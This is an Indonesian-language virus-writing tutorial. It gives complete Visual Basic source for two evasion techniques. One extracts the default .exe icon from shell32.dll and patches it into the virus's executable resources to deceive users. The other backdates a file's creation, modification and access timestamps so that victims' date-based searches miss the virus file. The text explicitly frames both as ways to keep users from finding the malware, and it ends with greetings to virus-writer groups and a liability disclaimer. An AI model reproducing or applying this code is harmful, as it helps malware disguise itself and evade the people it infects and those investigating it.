Teknik ini juga saya coba pada Virus Diary.Exe (V 1.3-1.5) dengan beberapa perubahan.

1. Penggantian ikon
Jika anda pernah menemukan suatu software pengekstrak atau pengganti ikon (bahkan keduanya) suatu file, maka
kurang lebih hal ini bisa juga diimplementasikan di Virus :D. COntoh algoritmanya :

START EXECUTION

|

Copy myself.exe to destination path

|

Search file yang akan diekstrak ikonnya

|

Ekstrak ikonnya, save to destination path

|

Change myself.exe dengan file ikon (*.Ico)
yang sudah di ekstrak

|

Hapus File ikon apabila sudah tidak digunakan

|

END EXECUTION

Saya menggunakan file Shell32.Dll sebagai file yang akan diekstrak Ikonnya, dalam hal ini saya akan memilih
ikon Default file *.exe (yang berwarna kotak putih-biru :P). Kira-kira begini source codenya :

(Diperlukan Objek PictureBox dalam Form)

------------------------------------Cut Here & Start Copy-Paste from Here------------------------------------
Sub cariikon(pathcari As String, pathekstrak As String, jenisikon As String, pic2 As PictureBox)

Dim poin As Long
poin = 1
Dim i As Long
Dim buf(1000) As Double
Dim jum As Integer
jum = 0
Dim jikon As Long
jikon = 0
Dim init As String
init = Chr$(0) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(32) & Chr$(32) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(168) & Chr$(8) & Chr$(0) & Chr$(0) & Chr$(22) & Chr$(0) & Chr$(0) & Chr$(0)
Dim strbaca As String
strbaca = Space(2238)
Dim fildat As String
Dim new_dic As String
Dim rs As String
rs = Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
Dim buff As Double
buff = 1024 ^ 2

Open pathcari For Binary As #1
If LOF(1) > buff Then
fildat = Space(buff)
Else
fildat = Space(LOF(1))
End If
balik:
If poin > LOF(1) Then
GoTo tulis
End If

Get #1, poin, fildat

i = 1
carilagi:
DoEvents

i = InStr(i + 1, fildat, "(" & rs)
If i > 0 Then
'lst.Add "#" & lst.Count & "#", i + poin - 1
buf(jum) = i + poin - 1
jum = jum + 1
End If

If i + Len(rs) > buff Or i = 0 Then
poin = poin + buff - Len("(" & rs) - 1
GoTo balik
Else
GoTo carilagi
End If

tulis:
Close
Open pathcari For Binary As #1
For poin = 0 To jum - 1
DoEvents
If Right(pathekstrak, 1) <> "\" Then
pathekstrak = pathekstrak & "\"
End If
If poin <> jenisikon Then GoTo lsg
Open pathekstrak & "Ikon.ico" For Output As #2: Close #2
Open pathekstrak & "Ikon.ico" For Binary As #2

'i = lst.Item("#" & poin & "#")
i = buf(poin)
Get #1, i, strbaca
Put #2, 1, init & strbaca & Chr$(255)
Close #2
If ikon(pathekstrak & "Ikon.ico", pic2) = 0 Then
Kill pathekstrak & "Ikon.ico"
End If
DoEvents
lsg: Next poin
Close #1
Close
End Sub

sub ikon(path As String, pic As PictureBox)
On Error GoTo ero
pic.Picture = LoadPicture(path)
ikon = 1
Exit Function
ero:
ikon = 0
Exit Function
End Function
------------------------------------Cut Here & End Copy-Paste from Here------------------------------------

Prosedur cariikon akan mencari file yang akan diekstrak ikonnya berdasarkan index ikon tersebut.
Ikon yang akan dihasilkan masih berukuran 16X16, tetapi hal itu sudah cukup untuk mengelabui User.
Perlu diingat bahwa index ikon file *.Exe dalam shell32.Dll untuk tiap versi Windows adalah berbeda.
Terutama untuk Windows 9x dan Windows 2k/2003/XP/NT.

Lalu bagaimana kita menukar atau change ikon virus kita dengan file ikon yang sudah diekstrak tsb?

(Referensi Source Code dari Internet, Author :Naveed, neenojee@hotmail.com)

1st. Module:
------------------------------------Cut Here & Start Copy-Paste from Here------------------------------------
Option Explicit
Type DIB_HEADER
Size As Long
Width As Long
Height As Long
Planes As Integer
Bitcount As Integer
Reserved As Long
ImageSize As Long
End Type

Type ICON_DIR_ENTRY
bWidth As Byte
bHeight As Byte
bColorCount As Byte
bReserved As Byte
wPlanes As Integer
wBitCount As Integer
dwBytesInRes As Long
dwImageOffset As Long
End Type

Type ICON_DIR
Reserved As Integer
Type As Integer
Count As Integer
End Type

Type DIB_BITS
Bits() As Byte
End Type

Public Enum Errors
FILE_CREATE_FAILED = 1000
FILE_READ_FAILED
INVALID_PE_SIGNATURE
INVALID_ICO
NO_RESOURCE_TREE
NO_ICON_BRANCH
CANT_HACK_HEADERS
End Enum
Public Function ReplaceIcons(Source As String, Dest As String) As Long

Dim IcoDir As ICON_DIR
Dim IcoDirEntry As ICON_DIR_ENTRY
Dim tBits As DIB_BITS
Dim Icons() As IconDescriptor
Dim lngRet As Long
Dim BytesRead As Long
Dim hSource As Long
Dim hDest As Long
Dim ResTree As Long

hSource = CreateFile(Source, ByVal &H80000000, 0, ByVal 0&, 3, 0, ByVal 0)
If hSource >= 0 Then
If Valid_ICO(hSource) Then
SetFilePointer hSource, 0, 0, 0
ReadFile hSource, IcoDir, 6, BytesRead, ByVal 0&
ReadFile hSource, IcoDirEntry, 16, BytesRead, ByVal 0&
SetFilePointer hSource, IcoDirEntry.dwImageOffset, 0, 0
ReDim tBits.Bits(IcoDirEntry.dwBytesInRes) As Byte
ReadFile hSource, tBits.Bits(0), IcoDirEntry.dwBytesInRes, BytesRead, ByVal 0&
CloseHandle hSource
hDest = CreateFile(Dest, ByVal (&H80000000 Or &H40000000), 0, ByVal 0&, 3, 0, ByVal 0)
If hDest >= 0 Then
If Valid_PE(hDest) Then
ResTree = GetResTreeOffset(hDest)
If ResTree > 308 Then ' Sanity check
lngRet = GetIconOffsets(hDest, ResTree, Icons)
SetFilePointer hDest, Icons(1).Offset, 0, 0
WriteFile hDest, tBits.Bits(0), UBound(tBits.Bits), BytesRead, ByVal 0&
Else
CloseHandle hDest
End If
Else
CloseHandle hDest
End If
CloseHandle hDest
Else
End If
Else
CloseHandle hSource
End If
Else
End If
ReplaceIcons = 0
Exit Function
End Function
Public Function Valid_ICO(hfile As Long) As Boolean
Dim tDir As ICON_DIR
Dim BytesRead As Long
If (hfile > 0) Then
ReadFile hfile, tDir, Len(tDir), BytesRead, ByVal 0&
If (tDir.Reserved = 0) And (tDir.Type = 1) And (tDir.Count > 0) Then
Valid_ICO = True
Else
Valid_ICO = False
End If
Else
Valid_ICO = False
End If
End Function
------------------------------------Cut Here & End Copy-Paste from Here------------------------------------

2nd. Module
------------------------------------Cut Here & Start Copy-Paste from Here------------------------------------
Option Explicit
Public Type IMAGE_DOS_HEADER
Magic As Integer
cblp As Integer
cp As Integer
crlc As Integer
cparhdr As Integer
minalloc As Integer
maxalloc As Integer
ss As Integer
sp As Integer
csum As Integer
ip As Integer
cs As Integer
lfarlc As Integer
ovno As Integer
res(3) As Integer
oemid As Integer
oeminfo As Integer
res2(9) As Integer
lfanew As Long
End Type

Public Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOtionalHeader As Integer
Characteristics As Integer
End Type

Public Type IMAGE_DATA_DIRECTORY
DataRVA As Long
DataSize As Long
End Type

Public Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkVer As Byte
MinorLinkVer As Byte
CodeSize As Long
InitDataSize As Long
unInitDataSize As Long
EntryPoint As Long
CodeBase As Long
DataBase As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOSVer As Integer
MinorOSVer As Integer
MajorImageVer As Integer
MinorImageVer As Integer
MajorSSVer As Integer
MinorSSVer As Integer
Win32Ver As Long
ImageSize As Long
HeaderSize As Long
Checksum As Long
Subsystem As Integer
DLLChars As Integer
StackRes As Long
StackCommit As Long
HeapReserve As Long
HeapCommit As Long
LoaderFlags As Long
RVAsAndSizes As Long
DataEntries(15) As IMAGE_DATA_DIRECTORY
End Type

Public Type IMAGE_SECTION_HEADER
SectionName(7) As Byte
Address As Long
VirtualAddress As Long
SizeOfData As Long
PData As Long
PReloc As Long
PLineNums As Long
RelocCount As Integer
LineCount As Integer
Characteristics As Long
End Type

Type IMAGE_RESOURCE_DIR
Characteristics As Long
TimeStamp As Long
MajorVersion As Integer
MinorVersion As Integer
NamedEntries As Integer
IDEntries As Integer
End Type

Type RESOURCE_DIR_ENTRY
Name As Long
Offset As Long
End Type

Type RESOURCE_DATA_ENTRY
Offset As Long
Size As Long
CodePage As Long
Reserved As Long
End Type

Public Type IconDescriptor
ID As Long
Offset As Long
Size As Long
End Type

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Public Declare Function ReadFile Lib "kernel32" (ByVal hfile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Public Declare Function WriteFile Lib "kernel32" (ByVal hfile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
Public Declare Function SetFilePointer Lib "kernel32" (ByVal hfile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private SectionAlignment As Long
Private FileAlignment As Long
Private ResSectionRVA As Long
Private ResSectionOffset As Long
Public Function Valid_PE(hfile As Long) As Boolean

Dim Buffer(12) As Byte
Dim lngBytesRead As Long
Dim tDosHeader As IMAGE_DOS_HEADER

If (hfile > 0) Then
ReadFile hfile, tDosHeader, ByVal Len(tDosHeader), lngBytesRead, ByVal 0&
CopyMemory Buffer(0), tDosHeader.Magic, 2
If (Chr(Buffer(0)) & Chr(Buffer(1)) = "MZ") Then
SetFilePointer hfile, tDosHeader.lfanew, 0, 0
ReadFile hfile, Buffer(0), 4, lngBytesRead, ByVal 0&
If (Chr(Buffer(0)) = "P") And (Chr(Buffer(1)) = "E") And (Buffer(2) = 0) And (Buffer(3) = 0) Then
Valid_PE = True
Exit Function
End If
End If
End If

Valid_PE = False

End Function
Public Function GetResTreeOffset(hfile As Long) As Long
On Error GoTo ErrHandler:

Dim tDos As IMAGE_DOS_HEADER
Dim tFile As IMAGE_FILE_HEADER
Dim tOptional As IMAGE_OPTIONAL_HEADER
Dim tSections() As IMAGE_SECTION_HEADER
Dim BytesRead As Long
Dim intC As Integer
Dim TreeFound As Boolean

TreeFound = False
If (hfile > 0) Then
SetFilePointer hfile, 0, 0, 0
' Get the offset of the Image File Header
ReadFile hfile, tDos, Len(tDos), BytesRead, ByVal 0&
SetFilePointer hfile, ByVal tDos.lfanew + 4, 0, 0
' Get the Image File Header and the Image Optional Header
ReadFile hfile, tFile, Len(tFile), BytesRead, ByVal 0&
ReadFile hfile, tOptional, Len(tOptional), BytesRead, ByVal 0&
' Get section headers
ReDim tSections(tFile.NumberOfSections - 1) As IMAGE_SECTION_HEADER
ReadFile hfile, tSections(0), Len(tSections(0)) * tFile.NumberOfSections, BytesRead, ByVal 0&
' Make sure there is a resource tree in this file
If (tOptional.DataEntries(2).DataSize) Then
' Save section alignment and file alignment of image
SectionAlignment = tOptional.SectionAlignment
FileAlignment = tOptional.FileAlignment
' Determine which section contains the resource tree
For intC = 0 To UBound(tSections)
If (tSections(intC).VirtualAddress <= tOptional.DataEntries(2).DataRVA) _
And ((tSections(intC).VirtualAddress + tSections(intC).SizeOfData) > tOptional.DataEntries(2).DataRVA) Then
TreeFound = True
' Save RVA and offset of resource section for future calculations
ResSectionRVA = tSections(intC).VirtualAddress
ResSectionOffset = tSections(intC).PData
' Calculate the physical file offset of the resouce tree
GetResTreeOffset = tSections(intC).PData + (tOptional.DataEntries(2).DataRVA - tSections(intC).VirtualAddress)
Exit For
End If
Next intC
If Not TreeFound Then
GetResTreeOffset = -1
End If
Else
GetResTreeOffset = -1
End If
Else
GetResTreeOffset = -1
End If
Exit Function

ErrHandler:

End Function
Public Function GetIconOffsets(hfile As Long, TreeOffset As Long, Icons() As IconDescriptor) As Long
On Error GoTo ErrHandler:

Dim Root As IMAGE_RESOURCE_DIR ' Root node of resource tree
Dim L1Entries() As RESOURCE_DIR_ENTRY ' 1st level of directory entries
Dim L2Root() As IMAGE_RESOURCE_DIR ' Level 2 resource directories
Dim L2Entries() As RESOURCE_DIR_ENTRY ' 2nd level of directory entries
Dim L3Root() As IMAGE_RESOURCE_DIR ' Level 3 resource directories
Dim L3Entries() As RESOURCE_DIR_ENTRY ' 3rd level of directory entries
Dim DataEntries() As RESOURCE_DATA_ENTRY ' Resource data entries
Dim DIB As DIB_HEADER ' Descriptor for icon images
Dim iLvl1 As Integer ' Loop Counter (first level)
Dim iLvl2 As Integer ' Loop Counter (second level)
Dim iLvl3 As Integer ' Loop Counter (third level)
Dim Cursor As Long ' Temp val for setting file pointer
Dim BytesRead As Long ' For ReadFile()
Dim Count As Integer ' Number of icons found

If (hfile > 0) Then
Count = 0
SetFilePointer hfile, ByVal TreeOffset, 0, 0
' Get the root node and begin navigating the resource tree
ReadFile hfile, Root, Len(Root), BytesRead, ByVal 0
ReDim L2Root(Root.NamedEntries + Root.IDEntries) As IMAGE_RESOURCE_DIR
ReDim L1Entries(Root.NamedEntries + Root.IDEntries) As RESOURCE_DIR_ENTRY
' Get first level child nodes
For iLvl1 = 1 To (Root.NamedEntries + Root.IDEntries)
SetFilePointer hfile, TreeOffset + 8 + (iLvl1 * 8), 0, 0
ReadFile hfile, L1Entries(iLvl1), 8, BytesRead, ByVal 0&
If L1Entries(iLvl1).Name = 3 Then
' Jump to level 2 and get directory
' Strip high-order byte from offset
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + TreeOffset
SetFilePointer hfile, ByVal Cursor, 0, 0
ReadFile hfile, L2Root(iLvl1), 16, BytesRead, ByVal 0&
ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As IMAGE_RESOURCE_DIR
ReDim L2Entries(L2Root(iLvl1).IDEntries + L2Root(iLvl1).NamedEntries) As RESOURCE_DIR_ENTRY
For iLvl2 = 1 To (L2Root(iLvl1).IDEntries + L2Root(iLvl1).NamedEntries)
' Read second level child nodes
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + TreeOffset
SetFilePointer hfile, Cursor + 8 + (iLvl2 * 8), 0, 0
ReadFile hfile, L2Entries(iLvl2), 8, BytesRead, ByVal 0&
' Jump to level 3 and get directory
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + TreeOffset
SetFilePointer hfile, ByVal Cursor, 0, 0
ReadFile hfile, L3Root(iLvl2), 16, BytesRead, ByVal 0&
ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DIR_ENTRY
ReDim DataEntries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DATA_ENTRY
For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries)
' Read third level child nodes
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + TreeOffset
SetFilePointer hfile, (Cursor + 8 + (iLvl3 * 8)), 0, 0
ReadFile hfile, L3Entries(iLvl3), 8, BytesRead, ByVal 0&
' Jump to IMAGE_DATA_ENTRY and get RVA of IconDir structure
SetFilePointer hfile, TreeOffset + (L3Entries(iLvl3).Offset), 0, 0
ReadFile hfile, DataEntries(iLvl3), 16, BytesRead, ByVal 0&
' Convert RVA of IconDir structure to file offset and store
Count = Count + 1
ReDim Preserve Icons(Count) As IconDescriptor
Icons(Count).Offset = RVA_to_Offset(DataEntries(iLvl3).Offset)
' Store ID of icon resource
Icons(Count).ID = L2Entries(iLvl2).Name
' Store Size of icon resource
SetFilePointer hfile, Icons(Count).Offset, 0, 0
ReadFile hfile, DIB, ByVal Len(DIB), BytesRead, ByVal 0&
Icons(Count).Size = DIB.ImageSize + 40
Next iLvl3
Next iLvl2
End If
Next iLvl1
Else
Count = 0
End If

' Return the number of icons found
GetIconOffsets = Count
Exit Function

ErrHandler:

End Function
Public Function HackDirectories(hfile As Long, ResTree As Long, DIBOffset As Long, _
DIBAttrib As ICON_DIR_ENTRY) As Boolean
On Error GoTo ErrHandler:

Dim Cursor As Long ' File pointer position
Dim Root As IMAGE_RESOURCE_DIR ' Root node of res tree
Dim L1Entries() As RESOURCE_DIR_ENTRY ' First-level child nodes
Dim L2Root() As IMAGE_RESOURCE_DIR ' Second-level root nodes
Dim L2Entries() As RESOURCE_DIR_ENTRY ' Second-level child nodes
Dim L3Root() As IMAGE_RESOURCE_DIR ' Third-level root nodes
Dim L3Entries() As RESOURCE_DIR_ENTRY ' Third-level child nodes
Dim DataEntries() As RESOURCE_DATA_ENTRY ' IMAGE_RESOURCE_DATA_ENTRY structs
Dim IcoDir As ICON_DIR ' IconDirectory in EXE
Dim iLvl1 As Integer ' Loop Counter (first level)
Dim iLvl2 As Integer ' Loop Counter (second level)
Dim iLvl3 As Integer ' Loop Counter (third level)
Dim intC As Integer ' Loop Counter (general)
Dim BytesRead As Long ' Returned by Read/WriteFile API's

If (hfile >= 0) Then
' Convert DIBOffset to an RVA (needed for RESOURCE_DATA_ENTRY structures)
DIBOffset = Offset_to_RVA(DIBOffset)
SetFilePointer hfile, ByVal ResTree, 0, 0
ReadFile hfile, Root, Len(Root), BytesRead, ByVal 0&
ReDim L1Entries(Root.NamedEntries + Root.IDEntries) As RESOURCE_DIR_ENTRY
ReDim L2Root(Root.NamedEntries + Root.IDEntries) As IMAGE_RESOURCE_DIR
' Loop through first-level child nodes and find RT_GROUP_ICON branch
For iLvl1 = 1 To (Root.NamedEntries + Root.IDEntries)
SetFilePointer hfile, ResTree + 8 + (iLvl1 * 8), 0, 0
ReadFile hfile, L1Entries(iLvl1), 8, BytesRead, ByVal 0&
If L1Entries(iLvl1).Name = &HE Then
' RT_GROUP_ICON branch found
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, Cursor, 0, 0
' Read second-level directory
ReadFile hfile, L2Root(iLvl1), 16, BytesRead, ByVal 0&
ReDim L2Entries(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As RESOURCE_DIR_ENTRY
ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As IMAGE_RESOURCE_DIR
For iLvl2 = 1 To (L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries)
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, Cursor + 8 + (iLvl2 * 8), 0, 0
ReadFile hfile, L2Entries(iLvl2), 8, BytesRead, ByVal 0&
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, Cursor, 0, 0
' Read thrid-level directory
ReadFile hfile, L3Root(iLvl2), 16, BytesRead, ByVal 0&
ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DIR_ENTRY
For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries)
' Read third-level child nodes
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + ResTree + 8 + (iLvl3 * 8)
SetFilePointer hfile, Cursor, 0, 0
ReadFile hfile, L3Entries(iLvl3), 8, BytesRead, ByVal 0&
' Jump to RESOURCE_DATA_ENTRY
CopyMemory Cursor, L3Entries(iLvl3).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, Cursor, 0, 0
ReDim Preserve DataEntries(iLvl3) As RESOURCE_DATA_ENTRY
ReadFile hfile, DataEntries(iLvl3), 16, BytesRead, ByVal 0&
' Jump to and read ICON_DIR structure
Cursor = RVA_to_Offset(DataEntries(iLvl3).Offset)
SetFilePointer hfile, Cursor, 0, 0
ReadFile hfile, IcoDir, 6, BytesRead, ByVal 0&
For intC = 1 To IcoDir.Count
WriteFile hfile, DIBAttrib, Len(DIBAttrib) - 4, BytesRead, ByVal 0&
SetFilePointer hfile, 2, 0, 1
Next intC
Next iLvl3
Next iLvl2
ElseIf L1Entries(iLvl1).Name = 3 Then
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, ByVal Cursor, 0, 0
' Read second-level directory
ReadFile hfile, L2Root(iLvl1), 16, BytesRead, ByVal 0&
ReDim L2Entries(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As RESOURCE_DIR_ENTRY
ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As IMAGE_RESOURCE_DIR
For iLvl2 = 1 To (L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries)
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, Cursor + 8 + (iLvl2 * 8), 0, 0
ReadFile hfile, L2Entries(iLvl2), 8, BytesRead, ByVal 0&
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, Cursor, 0, 0
' Read thrid-level directory
ReadFile hfile, L3Root(iLvl2), 16, BytesRead, ByVal 0&
ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DIR_ENTRY
For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries)
' Read third-level child nodes
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + ResTree + 8 + (iLvl3 * 8)
SetFilePointer hfile, Cursor, 0, 0
ReadFile hfile, L3Entries(iLvl3), 8, BytesRead, ByVal 0&
' Jump to and hack the RESOURCE_DATA_ENTRY
Cursor = L3Entries(iLvl3).Offset + ResTree
SetFilePointer hfile, Cursor, 0, 0
WriteFile hfile, DIBOffset, 4, BytesRead, ByVal 0&
WriteFile hfile, CLng(DIBAttrib.dwBytesInRes + 40), 4, BytesRead, ByVal 0&
Next iLvl3
Next iLvl2
End If
Next iLvl1
Else
HackDirectories = False
Exit Function
End If

HackDirectories = True
Exit Function

ErrHandler:

End Function
Private Function RVA_to_Offset(RVA As Long) As Long
On Error GoTo ErrHandler:
Dim TempOffset As Long ' Difference of RVA and start of section
TempOffset = RVA - ResSectionRVA
If (TempOffset >= 0) Then
' Calculate the file offset of the RVA
RVA_to_Offset = ResSectionOffset + TempOffset
Else
RVA_to_Offset = -1
End If
Exit Function

ErrHandler:

End Function

Private Function Offset_to_RVA(Offset As Long) As Long
On Error GoTo ErrHandler:

Dim TempOffset As Long ' Difference of Offset and start of section

' Get distance between offset and start of resource section
TempOffset = Offset - ResSectionOffset
If TempOffset >= 0 Then
' Calculate RVA of the file offset
Offset_to_RVA = ResSectionRVA + TempOffset
Else
Offset_to_RVA = -1
End If
Exit Function

ErrHandler:

End Function
------------------------------------Cut Here & End Copy-Paste from Here------------------------------------

Prosedur ReplaceIcon (1st. Module) akan mengganti Ikon Virus kita dengan file *.Ico tsb (Source = Path file ikon,
Dest = Path file yang akan diganti ikonnya), Ada beberapa kelemahan dalam penggantian Ikon ini. Pertama, bila Virus
dikompress atau di-Pack dengan settingan untuk menghilangkan atau hanya megkompress resource dari File maka
penggantian Ikon ini tidak bisa berjalan mulus. Kedua, untuk beberapa file yang akan dikestrak kadang-kadang ikon
tidak berukuran 16X16, bahkan tidak bisa diekstrak sama sekali.

2. Penggantian Date dan Time File Virus
Field apakah yang paling sering digunakan dalam fasilitas Search suatu file di Windows? Waktu akses/modif/buat dari file.
Ambil contoh virus A.exe dibuat pada tanggal 1 Feb 2006, mulai menginfeksi komputer anda tanggal 2 Feb 2006. Maka yang harus
anda lakukan dalam mencari file tsb dengan mengisikan field tanggal search dengan range 1 Feb 2006 sampai 2 Feb 2006.
Apa yang harus dilakukan? Kita harus rubah tanggal akes/modif/buat dari file Virus kita agar tidak (atau setidaknya mempersulit)
User mencarinya. Berikut Source Code yang kira-kira dapat menggambarkan teknik tersebut :

(Referensi Source Code dari Internet, Author : marskarthik@angelfire.com)

------------------------------------Cut Here & Start Copy-Paste from Here------------------------------------
Option Explicit

Public Declare Function SetFileTime Lib "kernel32" (ByVal hfile As Long, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long
Public Declare Function GetFileTime Lib "kernel32" (ByVal hfile As Long, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long
Public Declare Function FileTimeToLocalFileTime Lib "kernel32" (lpFileTime As FILETIME, lpLocalFileTime As FILETIME) As Long
Public Declare Function FileTimeToSystemTime Lib "kernel32" (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long
Public Declare Function SystemTimeToFileTime Lib "kernel32" (lpSystemTime As SYSTEMTIME, lpFileTime As FILETIME) As Long
Public Declare Function LocalFileTimeToFileTime Lib "kernel32" (lpLocalFileTime As FILETIME, lpFileTime As FILETIME) As Long
Public Declare Function OpenFile Lib "kernel32" (ByVal lpFileName As String, lpReOpenBuff As OFSTRUCT, ByVal wStyle As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Public Const OF_READ = &H0
Public Const OF_READWRITE = &H2
Public Const OF_REOPEN = &H8000
Public Const OF_SHARE_COMPAT = &H0
Public Const OF_SHARE_DENY_NONE = &H40
Public Const OF_SHARE_DENY_READ = &H30
Public Const OF_SHARE_DENY_WRITE = &H20
Public Const OF_SHARE_EXCLUSIVE = &H10
Public Const OF_VERIFY = &H400
Public Const OF_WRITE = &H1
Public Const OFS_MAXPATHNAME = 128

Public Type OFSTRUCT
cBytes As Byte
fFixedDisk As Byte
nErrCode As Integer
Reserved1 As Integer
Reserved2 As Integer
szPathName(OFS_MAXPATHNAME) As Byte
End Type

Public Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

Public Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type

Public Sub ubahtanggal(pathfil As String, hari As Long, bulan As Long, tahun As Long, Optional creat As Boolean, Optional modif As Boolean, Optional acces As Boolean)
On Error Resume Next
Dim hfile As Long, rval As Long
Dim buff As OFSTRUCT
Dim ctime As FILETIME, latime As FILETIME, mtime As FILETIME
Dim stime As SYSTEMTIME
Dim fil As String

If IsMissing(creat) Then creat = False
If IsMissing(modif) Then modif = False
If IsMissing(acces) Then acces = False

hfile = OpenFile(pathfil, buff, OF_WRITE)
If hfile Then
rval = GetFileTime(hfile, ctime, latime, mtime)
If creat Then
rval = FileTimeToLocalFileTime(ctime, ctime)
rval = FileTimeToSystemTime(ctime, stime)

stime.wYear = tahun
stime.wMonth = bulan
stime.wDay = hari
stime.wHour = Hour(Time)
stime.wMinute = Minute(Time)
stime.wSecond = Second(Time)

rval = SystemTimeToFileTime(stime, ctime)
rval = LocalFileTimeToFileTime(ctime, ctime)
End If
If modif Then
rval = FileTimeToLocalFileTime(mtime, mtime)
rval = FileTimeToSystemTime(mtime, stime)

stime.wYear = tahun
stime.wMonth = bulan
stime.wDay = hari
stime.wHour = Hour(Time)
stime.wMinute = Minute(Time)
stime.wSecond = Second(Time)

rval = SystemTimeToFileTime(stime, mtime)
rval = LocalFileTimeToFileTime(mtime, mtime)
End If
If acces Then
rval = FileTimeToLocalFileTime(latime, latime)
rval = FileTimeToSystemTime(latime, stime)

stime.wYear = tahun
stime.wMonth = bulan
stime.wDay = hari
stime.wHour = Hour(Time)
stime.wMinute = Minute(Time)
stime.wSecond = Second(Time)

rval = SystemTimeToFileTime(stime, latime)
rval = LocalFileTimeToFileTime(latime, latime)
End If
rval = SetFileTime(hfile, ctime, latime, mtime)
End If
rval = CloseHandle(hfile)
End Sub
------------------------------------Cut Here & End Copy-Paste from Here------------------------------------

Prosedur ubahtanggal akan merubah date dari file virus, dengan parameter hari, bulan dan tahun sesuai dengan
yang kita inginkan. Parameter creat, modif dan acces menunjukkan date atau time mana yang akan diubah, Sebagai contoh
bila acces bernilai True dan lainnya bernilai False maka hanya date dan time Acces saja yang akan diubah.

$> End...
Karena keterbatasan tempat dan waktu maka saya hanya bisa membeberkan 2 teknik saja yang saya kira dapat digunakan
untuk mempersulit User dalam mencari File Induk dari Virus. Saya ingin memohon maaf apabila ada kekurangan atau
pernyataan yang menyinggung pembaca.

$ Greetz...
>Myztx @ Myztx Soft. House, Hellspawn, Brontok Creator, Tomero, MyHeart Creator, Kantuk Creator, n The other Vx3rs.
>All member of Mail-list : EcHo, Jasakom, Yogyafree, ITCenter, Virologi, Balihack, Informatics_01, ProgrammerVB n the others.
>Spyro, Vaganci, Yanto, n All my Friends at IA01 [2005], IA07 [2004] @ GunaDarma University, Depok.
>marskarthik@angelfire.com, (Naveed) neenojee@hotmail.com.
>Sites : VbBego.com, Virologi.info, Vaksin.com, Planet-Source-Code.com n the others.

Fungsi windows API

- 26-9-06 -
.:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.
Penulis tidak bertanggung jawab atas akibat atau dampak yang disebabkan oleh
penggunaan materi dari tutorial ini. Tujuan penulis hanya ingin menyampaikan
materi kepada pihak-pihak yang bertanggung jawab dan "Want to learn", tidak
kepada pihak-pihak yang ingin merugikan orang lain.
